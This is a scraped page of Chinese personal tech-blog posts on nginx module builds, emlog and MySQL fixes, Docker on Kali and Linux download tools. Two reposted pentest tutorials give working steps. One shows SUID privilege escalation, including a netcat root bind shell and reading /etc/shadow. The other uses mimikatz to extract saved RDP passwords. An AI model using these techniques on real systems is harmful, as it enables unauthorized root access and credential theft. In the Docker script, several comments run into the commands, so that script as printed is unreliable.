lnmp配置nginx扩展PageSpeed,Brotli等优化总结(仅供参考) 技术文章
[i]注:本文只适合有一定Linux基础知识的人阅读,如果没有请慎阅,以免带来不适。
Lnmp1.4配置nginx(Nginx已经安装好了)扩展ngx_PageSpeed, Brotli , ngx_http_google_filter_module ,ngx_http_google_filter_module
环境:lnmp1.4 + vultr-JP
OS:#lsb_release -a
Debian GNU/Linux 8.10 (jessie) , PHP-7.1.7 ,MySql-5.5.56 , Nginx-1.12.2
先看一下我的优化后使用Google的PageSpeed Insights PC检测有99分,打开速度是挺快的!
然后查看nginx配置:nginx –V (注意是大写的),结果类似如下:
我们要做的就是再此基础上增加模块,Nginx增加模块比Apache麻烦点,Apache直接配置文件引用.so模块文件即可,Nginx需要编译。不多累述,想了解的自己Google。
首先我们在home目录下新建一个extends文件夹(mkdir /home/extends)用来装我们的扩展源码,接下来就是下载这些源码:
但是,在下载源码之前,我们需要更新一下系统和安装一些依赖:
apt-get update && apt-get install build-essential zlib1g-dev libpcre3 libpcre3-dev unzip uuid-dev git gcc g++ make -y
git clone https://github.com/google/ngx_brotli.git
cd ngx_brotli
git submodule update --init
wget https://github.com/apache/incubator-pagespeed-ngx/archive/v1.13.35.2-stable.tar.gz
tar xzvf v1.13.35.2-stable.tar.gz
cd incubator-pagespeed-ngx-1.13.35.2-stable
wget https://dl.google.com/dl/page-speed/psol/1.12.34.2-x64.tar.gz
tar xzvf 1.12.34.2-x64.tar.gz
git clone https://github.com/cuber/ngx_http_google_filter_module
git clone https://github.com/yaoweibin/ngx_http_substitutions_filter_module
备注:因为是lnmp1.4x + php7.1因此最后两个扩展所需要的这些模块已经自带了:pcre, openssl ,zlib以及nginx源码,如果你不是php7,请自行下载相关依赖并解压到扩展文件夹extends里面方便后面的使用。
接下来就是配置编译前的nginx了(在nginx源码所在的目录,里面包含configure的这个文件夹路径下):
可以创建预编译的目录或者是就在解压缩后的nginx源码目录也行。
./configure --user=www --group=www --prefix=/usr/local/nginx --with-cc-opt=-Wno-deprecated-declarations --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_gzip_static_module --with-http_realip_module --with-http_sub_module --with-openssl=/root/lnmp1.4/src/openssl-1.0.2l --add-module=/home/extends/ngx_http_google_filter_module --add-module=/home/extends/ngx_http_substitutions_filter_module --add-module=/home/extends/ngx_brotli --add-module=/home/extends/incubator-pagespeed-ngx-1.13.35.2-stable
需要注意的是:上面的命令你可以根据你自己的路径来修改,注意拼写,推荐使用Tab键补全获得准确的pwd,最重要的就是你需要会看系统的提示,我觉得Linux的系统提示是非常完善的,你根据提示去搜索基本上都是可以找到答案的,特别是像这些流行的应用出现的问题。如果有搞不定的,可以联系我(YWRtaW5AbXJ4bi5uZXQ=)有空会给你解答,当然也可以付费帮你配置这些,毕竟时间就是金钱,而且一个人的精力有限。
如果提示:make[1]: Leaving directory '/root/nginx-1.12.2'这类的,你可能是配置好后编译失败了,需要清除,重新配置。在nginx源码目录执行,make clean ,然后再重新./configure就行。如果还是不行,就自行去预编译的目录下查看是否有nginx二进制文件,如果没有,肯定失败了,否则,停止Nginx,备份已安装的nginx,再将这个预编译好的复制到旧Nginx所在目录,然后启动Nginx,执行nginx –t ,检查看是否出错,如果不出错就打开网页看看是否正常,正常就OK了。不正常的话就慢慢排查吧。
下面贴一下nginx 的主要配置代码:
nginx.conf :
gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.1;
gzip_comp_level 2;
gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/xml+rss;
gzip_vary on;
gzip_proxied expired no-cache no-store private auth;
gzip_disable "MSIE [1-6]\.";
brotli on;
brotli_types text/plain text/css text/xml application/xml application/json text/javascript application/javascript application/x-javascript
brotli_static off;
brotli_comp_level 11;
brotli_buffers 16 8k;
brotli_window 512k;
brotli_min_length 20;
vhost/mrxn.net.conf:
# 启用ngx_pagespeed
pagespeed on;
pagespeed FileCachePath /tmp/cache/ngx_pagespeed_cache;
# 禁用CoreFilters
pagespeed RewriteLevel PassThrough;
# 启用压缩空白过滤器
pagespeed EnableFilters collapse_whitespace;
# 启用JavaScript库卸载
pagespeed EnableFilters canonicalize_javascript_libraries; #谷歌被墙,国内服务器用不了,国外的不存在
# 把多个CSS文件合并成一个CSS文件
pagespeed EnableFilters combine_css;
# 把多个JavaScript文件合并成一个JavaScript文件
pagespeed EnableFilters combine_javascript;
# 删除带默认属性的标签
pagespeed EnableFilters elide_attributes;
# 改善资源的可缓存性
pagespeed EnableFilters extend_cache;
# 更换被导入文件的@import,精简CSS文件
pagespeed EnableFilters flatten_css_imports;
pagespeed CssFlattenMaxBytes 5120;
# 延时加载客户端看不见的图片
pagespeed EnableFilters lazyload_images;
# 启用JavaScript缩小机制
pagespeed EnableFilters rewrite_javascript;
# 启用图片优化机制
pagespeed EnableFilters rewrite_images;
# 预解析DNS查询
pagespeed EnableFilters insert_dns_prefetch;
# 重写CSS,首先加载渲染页面的CSS规则
pagespeed EnableFilters prioritize_critical_css;
# Example 禁止pagespeed 处理/admin/目录(可选配置,可参考使用)
pagespeed Disallow "*/admin/*";
配置后测试没有问题的话基本是这个样子的:
如果配置过程中有其他的错误,请根据错误提示Google或自查。实在不行就找人吧。
上面的步骤都顺利通过了之后就可以去配置nginx了,主要是配置Google的反代。可以参考我之前写的文章,下面简单记录一下:
备份原有已安装好的nginx:
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
service nginx stop
然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态,通过上面的命令,已经停止了):
cp ./objs/nginx /usr/local/nginx/sbin/
然后启动nginx (service nginx start),就可以通过命令nginx -V 查看第三方扩展是否已经加入成功.
下面说下在PHP7下如何使emlog支持,其实就是修改几个变量:
1.首先在/include/lib/option.php
大约11行位置
//默认MySQL链接方,mysql或mysqli
把const DEFAULT_MYSQLCONN = 'mysql';
改为 const DEFAULT_MYSQLCONN = 'mysqli';
2.在/include/lib/cache.php
大约195行
把$$row['option_name'] = $row['option_value'];
改为 ${$row['option_name']} = $row['option_value'];
3.在admim/seo.php
大约在15行、19行共两上
把 $$t改为
${$t}
4.在admim/views/admin_log.php
大约在86行、88行、90行共三个
把$$a $$b $$a
改为 ${$a} ${$b} ${$a}
5.在admim/views/comment.php
大约在18行
把 $$a = "class=\"filter\"";
改为 ${$a} = "class=\"filter\"";
另外有些插件和主题是固定了使用mysql连接类,这样还需要修改插件和主题中的数据库连接方式,不然直接报数据库错误。
比如:
$DB = MySql::getInstance();
都要改为$DB = Database::getInstance();
小提示:我是使用的sublime text 使用正则匹配搜索—正则如下:^(\$)(\$)a,不然你会搜不到$$a的,可以使用sublime的指定文件夹搜索,在你的整个网站目录所有文件里搜索相关变量,进行批量替换。
我之前发的相关文章(仅供参考):
两种方式反代Google(镜像)--nginx反代和nginx扩展
https://mrxn.net/Linux/nginx_http_google_filter.html
为nginx添加这些额外的第三方扩展加速你的web吧
https://mrxn.net/Linux/nginx_add_module.html
参考文章—感谢他们的分享:
https://www.modpagespeed.com/doc/build_ngx_pagespeed_from_source
偶遇邮件钓鱼二维码 网络安全
正好我看到了,暂时没事就识别了一下。。。二维码是个短网址,还原后就是一个模仿的QQ邮箱登录界面,而且奇丑无比。。。下面先给大伙看一下:
看了一下页面的源代码,是经过Escape加密的。加密前的源代码在这里:
小知识:
定义和用法:escape可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
说明:该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。
UnEscape解密后:https://pastebin.com/9WibA9RA
当然,发件人有可能不是作者,只是买来的或者是盗来的。这里不做深究。但是钓鱼的主域名明显是个企业网站被入侵后搞得。还装了狗。。。
。。。。想玩的自己去看源码玩
PS: 不要乱扫描二维码。。。至少我目前知道一种方法可以从QQ(手机版Android/IOS)直接打开你的支付宝,进入支付界面。
emlog,连接数据库失败,请检查数据库信息,错误编号 2002 技术文章
今天起来发现博客打不开了,提示:连接数据库失败,请检查数据库信息,错误编号 2002。
首先看这个错误代码是2002,并不是emlog的配置文件有问题,因为从include/lib/mysql.php里面可以看到这个2002应该是MySQL本身出问题了,但是不一定,下面来排查是不是MySQL本身出问题了。
/**
* 内部实例对象
* @var object MySql
*/
private static $instance = null;
private function __construct() {
if (!function_exists('mysql_connect')) {
emMsg('服务器空间PHP不支持MySql数据库');
}
if (!$this->conn = @mysql_connect(DB_HOST, DB_USER, DB_PASSWD)) {
switch ($this->geterrno()) {
case 2005:
emMsg("连接数据库失败,数据库地址错误或者数据库服务器不可用");
break;
case 2003:
emMsg("连接数据库失败,数据库端口错误");
break;
case 2006:
emMsg("连接数据库失败,数据库服务器不可用");
break;
case 1045:
emMsg("连接数据库失败,数据库用户名或密码错误");
break;
default :
emMsg("连接数据库失败,请检查数据库信息。错误编号:" . $this->geterrno());
break;
}
}
if ($this->getMysqlVersion() > '4.1') {
mysql_query("SET NAMES 'utf8'");
}
@mysql_select_db(DB_NAME, $this->conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
}
登上服务器,准备登录mysql,mysql -uroot -ppassword,报错如下:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
然后查看MySQL状态:
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (exited) since Sun 2017-12-24 10:55:03 CST; 5min ago
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
注意看红色的部分,Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! 现在可以进一步确定是MySQL本身出问题了。
问题原因就这与MySQL本身没有启动起来。我们先停止MySQL试试:service mysqld stop ,然后查看状态:
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: inactive (dead) since Sun 2017-12-24 11:01:09 CST; 1s ago
Process: 1809 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopping LSB: start and stop MySQL...
Dec 24 11:01:09 mrxn.guest mysqld[1809]: MySQL server PID file could not be found! ... failed!
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopped LSB: start and stop MySQL.
然后Google搜索上面的红色关键词:Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! ,借鉴这个的方法 http://www.cnblogs.com/olinux/p/5546371.html
查看MySQL的my.cnf 在那些位置存在:
root@mrxn:/# mysqld --verbose --help|grep my.cnf
2017-12-24 11:02:32 0 [Warning] Using unique option prefix key_buffer instead of key_buffer_size is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 0 [Note] --secure-file-priv is set to NULL. Operations related to importing and exporting data are disabled
2017-12-24 11:02:32 0 [Note] mysqld (mysqld 5.6.37-log) starting as process 1867 ...
2017-12-24 11:02:32 1867 [ERROR] Can't find messagefile '/usr/share/mysql/errmsg.sys'
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
mysqld: Can't change dir to '/var/lib/mysql/' (Errcode: 2 - No such file or directory)
2017-12-24 11:02:32 1867 [Warning] Using unique option prefix myisam-recover instead of myisam-recover-options is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 1867 [Note] Plugin 'FEDERATED' is disabled.
mysqld: Unknown error 1146
2017-12-24 11:02:32 1867 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
/etc/my.cnf /etc/mysql/my.cnf /usr/local/mysql/etc/my.cnf ~/.my.cnf
my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default
2017-12-24 11:02:32 1867 [Note] Binlog end
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'CSV'
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'MyISAM'
注意看红色的标注部分,没有那个文件或者路径。用ls -l /var/lib/ 查看下面确实没有mysql文件夹。
那么就新建一个mysql文件夹,并且设置好权限给mysql使用:
mkdir /var/lib/mysql/
chown -R mysql:mysql /var/lib/mysql/
然后删除多余的那个my.cnf :rm /etc/mysql/my.cnf
然后重启MySQL:service mysqld restart ,并且查看MySQL的状态:
root@mrxn:/# service mysqld restart
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (running) since Sun 2017-12-24 11:09:00 CST; 5s ago
Process: 2121 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2138 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2153 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/data/mysql --pid-file=/data/mysql/mysql.pid
└─2992 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/data/mysql --plugin-dir=/usr/local/mysql/l...
Dec 24 11:08:59 mrxn.guest systemd[1]: Starting LSB: start and stop MySQL...
Dec 24 11:08:59 mrxn.guest mysqld[2138]: Starting MySQL
Dec 24 11:09:00 mrxn.guest mysqld[2138]: ..
Dec 24 11:09:00 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
就OK了!
然后根据这个错误我发现了是有人在疯狂的扫描我的博客。。。醉了。。。但是我也不知道为嘛MySQL就抽风了,估计是死锁后我去重启,然后它就抽风了-_-|
Linux下利用SUID提权 渗透测试
今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm
-4000
-
2
>/dev/null
find / -perm -u=s -type f
2
>/dev/null
find / -user root -perm
-4000
-exec ls -ldb {} \;
ls -l /usr/bin/nmap
-rwsr-xr-x
1
root root
780676
2008
-04
-08
10:
04
/usr/bin/nmap
NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
交互模式可以通过执行Nmap参数" interactive ":
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap
Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlab
find pentestlab -exec whoami \;
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。
netcat
192.168
.
1.189
5555
id
cat /etc/shadow
VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
以下命令将以root权限打开一个bash shell。
bash -p
bash
-3.2
# id
uid=
1002
(service) gid=
1002
(service) euid=
0
(root) groups=
1002
(service)
Less
Less和More都执行以用来提权。
less /etc/passwd
!/bin/sh
PS:文章来源于 杂术馆 .好文共赏!如对原创造成影响,深表歉意!
Kali一键安装docker脚本 Linux
Kali不介绍,docker简单的介绍一下:如何通俗解释docker是什么 我的理解用一句话来说就是:在你的系统里面装一个盒子,盒子里你可以干任何事!另外,在gitbook上也有专门的专题介绍,想详细的了解的可以去看一下:
https://yeasy.gitbooks.io/docker_practice/content/
本文主要介绍在Kali下如何一键安装,给懒人看的-_- .
Kali是属于Debian的一个分支基于Debian Wheezy 因此安装方法借助docker官方的Debian安装文档,但是官方的安装方法在Kali上会失败...
所以呢,我就自己Google啊,找到了好几个版本,我结合自己的实际操作和理解,搞了一个综合性的脚本.
下面就是脚本的全部代码:
#!/bin/bash
#=================================================
# Description: Install docker for Kali
# Version: 0.0.1
# Author: Mrxn
# Blog: https://mrxn.net/Linux/install_docker_script_for_Kali.html
# PS: 欢迎大家到github提建议和bug
#=================================================
# install dependencies
sudo apt-get install apt-transport-https ca-certificates curl gnupg software-properties-common dirmngr# use https get sources
sudo echo "deb https://http.kali.org/kali kali-rolling main non-free contrib" > /etc/apt/sources.list
sudo echo "deb-src https://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*
# add Docker repo gpg key
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -# add deb docker sources
sudo echo "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable" >> /etc/apt/sources.listcat > /etc/apt/sources.list.d/docker.list <<'EOF'
deb https://apt.dockerproject.org/repo debian-stretch main
EOF
sudo apt-get update# install Docker
sudo apt-get install docker-ce# run Hellow World image
sudo docker run hello-world# manage Docker as a non-root user
sudo groupadd docker
sudo usermod -aG docker $USER# configure Docker to start on boot
sudo systemctl enable docker
有啥bug 就去github提吧... https://github.com/Mr-xn/Kali-install-docker
【奇技淫巧】利用mimikatz破解远程终端凭据,获取服务器密码 渗透测试
测试环境:windows 10
道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的XX饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。
0x01 凭据管理器中查看Windows凭据:
TERMSRV/1xx.xxx.xxx.xx2
可通过命令行获取,执行: cmdkey /list
注意:该命令务必在Session会话下执行,system下执行无结果。
0x02 凭据存储在用户目录下:
C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
图中名为
"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件
0x03 执行:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"
pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。
0x04 执行:
mimikatz privilege::debug sekurlsa::dpapi
根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"
解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
文章来源于国内安全交流论坛土司\-_-\
linux下解压rar格式的文件 Linux
linux下一般都是tar和zip的,如果下载到的文件是rar格式的话.我们就需要另外安装rar解压缩软件来支持了.下面简记一下
首先从rarlab官网的下载页面找到你所对应的版本.32位或者是64位的linux版本.
https://www.rarlab.com/download.htm
我这里以64位的作为例子.
在命令行里面使用wget直接下载:
wget https://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz
然后解压:
tar zxvf rarlinux* 或者是准确的使用Tab键补全. tar zxvf rarlinux-x64-5.5.0.tar.gz
然后cd进入rar目录进行编译安装
cd rar
make
make install
root@kali:~# cd rar
root@kali:~/rar# make
mkdir -p /usr/local/bin
mkdir -p /usr/local/lib
cp rar unrar /usr/local/bin
cp rarfiles.lst /etc
cp default.sfx /usr/local/lib
root@kali:~/rar# make install
mkdir -p /usr/local/bin
mkdir -p /usr/local/lib
cp rar unrar /usr/local/bin
cp rarfiles.lst /etc
cp default.sfx /usr/local/lib
这时候使用rar 命令会提示你它的使用方法.常见使用方法如下:
解压缩一个file.rar 命令: rar x file.rar
压缩一个文件: rar a file2.rar ./test (将当前目录下的test文件夹压缩为file2.rar)
其他具体命令请使用rar查看.
PS:上篇文章的命令行下载工具里,axel 对于允许同时多线程下载的特别有用,wget 更适合下载只允许单线程的...
Linux 下十大命令行下载工具(转) Linux
我们一想到Linux,肯定会想到黑白终端,真正的Linux用户总是偏爱从终端来进行工作,哪怕是用于下载。相比某种GUI工具,命令行下载工具可以帮助用户更迅速地从网上下载任何东西。有许多可满足一般用途、甚至用于torrent的下载工具,不过相比其它工具,只有像curl或者wget这少数几款工具更受欢迎。我们在本教程中将探讨用于在Linux环境中下载的十大命令行工具。不妨逐一探讨这些CLI工具。
1.Wget
这是最有名的工具,可用于通过CLI下载。这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
例子
从网上下载某个示例文件:
# wget http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
示例输出:
--2016-05-11 16:56:23-- http://www.sample-
videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
Resolving www.sample-videos.com (www.sample-videos.com)...
166.62.28.98
Connecting to www.sample-videos.com (www.sample-
videos.com)|166.62.28.98|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1055736 (1.0M)
Saving to: ‘big_buck_bunny_720p_1mb.mp4’
100%[==========================================================================================================>] 10,55,736 52.1KB/s in 24s
2016-05-11 16:56:47 (43.4 KB/s) - ‘big_buck_bunny_720p_1mb.mp4’ saved [1055736/1055736]
后台下载文件:
# wget -b http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
如果互联网连接出现中断,恢复下载。
# wget -c http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
从某个密码保护的ftp软件库下载文件。
# wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address
2.Curl
Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。这是一款快速高效的工具,不妨看一下。
例子:
# curl -o um.mp4 http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
示例输出:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1030k 100 1030k 0 0 105k 0 0:00:09 0:00:09 --:--:-- 111k
借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。
# curl -O http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
使用一个curl命令,下载多个文件。
# curl -O http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_2mb.mp4 -O
3.Axel
这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。
安装
# apt-get install axel
例子
# axel http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
Initializing download: http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
示例输出:
File size: 1055736 bytes
Opening output file big_buck_bunny_720p_1mb.mp4.0
Starting download
[ 0%] .......... .......... .......... .......... .......... [ 64.9KB/s]
[ 4%] .......... .......... .......... .......... .......... [ 83.0KB/s]
[ 9%] .......... .......... .......... .......... .......... [ 91.5KB/s]
[ 14%] .......... .......... .......... .......... .......... [ 96.8KB/s]
[ 19%] .......... .......... .......... .......... .......... [ 100.2KB/s]
[ 24%] .......... .......... .......... .......... .......... [ 102.7KB/s]
[ 29%] .......... .......... .......... .......... .......... [ 104.6KB/s]
[ 33%] .......... .......... .......... .......... .......... [ 86.9KB/s]
[ 38%] .......... .......... .......... .......... .......... [ 77.1KB/s]
[ 43%] .......... .......... .......... .......... .......... [ 64.8KB/s]
[ 48%] .......... .......... .......... .......... .......... [ 66.8KB/s]
[ 53%] .......... .......... .......... .......... .......... [ 72.8KB/s]
[ 58%] .......... .......... .......... .....
Connection 1 finished
,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,..... .......... [ 74.1KB/s]
[ 63%] .......... .......... .......... .......... .......... [ 79.8KB/s]
[ 67%] .......... .......... .......... .......... .......... [ 84.5KB/s]
[ 72%] .......... .......... .....
Connection 2 finished
,,,,,,,,, ,,,,,,,,,, ,,,,,..... .......... .......... [ 86.3KB/s]
[ 77%] .......... .......... .......... .......... .......... [ 91.6KB/s]
[ 82%] .......... .......... .......... .......... .......... [ 96.7KB/s]
[ 87%] .......... .......... .......... .......... .......... [ 101.6KB/s]
[ 92%] .......... .......... .......... ...
Connection 0 finished
,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,....... .......... [ 105.9KB/s]
[ 96%] .......... .......... ..........
Downloaded 1031.0 kilobytes in 9 seconds. (108.66 KB/s)
4.Youtube-dl
这是一款专用工具,可以通过命令行从YouTube下载视频,这是个易于安装的程序包,可用来下载一大批文件。
安装
# curl https://yt-dl.org/latest/youtube-dl -o /usr/local/bin/youtube-dl
变更文件权限:
# sudo chmod a+rx /usr/local/bin/youtube-dl
例子
下载一些视频,只要为命令添加视频URL参数。
# youtube-dl https://www.youtube.com/watch?v=UZW2hs-2OAI
想下载视频列表,将所有URL拷贝到一个文本文件中,然后运行下面这个命令:
-
# youtube-dl -a <name_of_your_text_file.txt>
示例输出:
virtual-System-Product-Name prozilla-2.0.4-master # youtube-dl -a url.txt
[youtube] xEf8A7X53YE: Downloading webpage
[youtube] xEf8A7X53YE: Downloading video info webpage
[youtube] xEf8A7X53YE: Extracting video information
[youtube] xEf8A7X53YE: Downloading MPD manifest
[download] Destination: EIC Outrage - Salute to Indian Athletes!-xEf8A7X53YE.mp4
[download] 3.9% of 70.87MiB at 82.53KiB/s ETA 14:04
5.Aria2
这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
安装
# apt-get install aria2
### 针对centOS
# yum install aria2
例子
# aria2c http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4
示例输出:
[#28c7dd 0.9MiB/1.0MiB(93%) CN:1 DL:70KiB ETA:1s]
05/11 23:06:47 [NOTICE] Download complete:
/home/virtual/Desktop/prozilla-2.0.4-master/big_buck_bunny_720p_1mb.mp4
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
28c7dd|OK | 72KiB/s|/home/virtual/Desktop/prozilla-2.0.4-master/big_buck_bunny_720p_1mb.mp4
Status Legend:
(OK):download completed.
6.Movgrab
这是用于下载视频的另一款高效工具,使用movgrab的优点在于,它不仅可以从YouTube下载视频,还可以从几乎所有的知名网站下载视频,比如metacafe、dailiymotion、 ehow和vobx等。这是一款很快速的工具,可以定义影片格式,还可以恢复下载。
安装
可以从该链接下载程序包。
解压缩程序包:
# tar -xvf movgrab-1.2.1.tar.gz
# cd movgrab-1.2.1
# ./configure
# make
# make install
使用命令下载程序包
下载名称指定的文件:
# movgrab Youtube_url
指定输出文件:
# movgrab -o example.mp4 video_url
使用maovgrab –h,即可了解更多的细节。
7.rtorrent
这种知名的命令行torrent客户软件随附在所有Linux发行版中,它需要screen实用工具才能正常运行。
安装
安装screen:
# apt-get install screen
安装rtorrent :
# apt-get install rtorrent
例子
# rtorrent example.torrent
8.ctorrent
C-torrent是最简单的命令行torrent下载工具,可以迅速安装,也是micro-torrent或utorrent的优秀替代者。
安装
# apt-get install ctorrent
例子
我们不妨下载一份最新版本的Ubuntu server 16.04。
# ctorrent ubuntu-16.04-server-amd64.iso.torrent
使用ctorrent –h,即可了解更多选项。
9.Transmission-cli
Transmission的这个命令行版本是一款非常强大的工具,可用于下载torrent。易于安装,它需要screen这个依赖项。
安装
# apt-get install transmission-cli transmission-daemon transmission-common
安装screen
# apt-get install screen
例子
# screen -a /usr/bin/transmission-cli -p 25000 ubuntu-16.04-server-amd64.iso.torrent
10.vuze
这是一种全面的torrent下载解决方案,占用资源极少,是功能最强大的torrent应用程序之一,它需要Java才能在控制台上运行,所以确保你已将open jdk的jre安装到系统上,它同样需要screen程序包。
安装
可以直接从该链接下载,下载后解压缩程序包。
# tar -xvf VuzeInstaller.tar.bz2
# cd vuze
有一些依赖项必须下载,从该链接获取必要的插件。
将这些.jar插件拷贝到vuze目录:
# cp *.jar vuze
运行下面这个命令:
# java -cp "Azureus2.jar:commons-cli.jar:log4j.jar" org.gudy.azureus2.ui.common.Main --ui=console
上述命令成功执行后,运行下面这个命令来启动
# screen java -jar Azureus2.jar --ui=console
使用help命令,给add命令添加上.torrent文件的路径,即可开始下载。
结束语
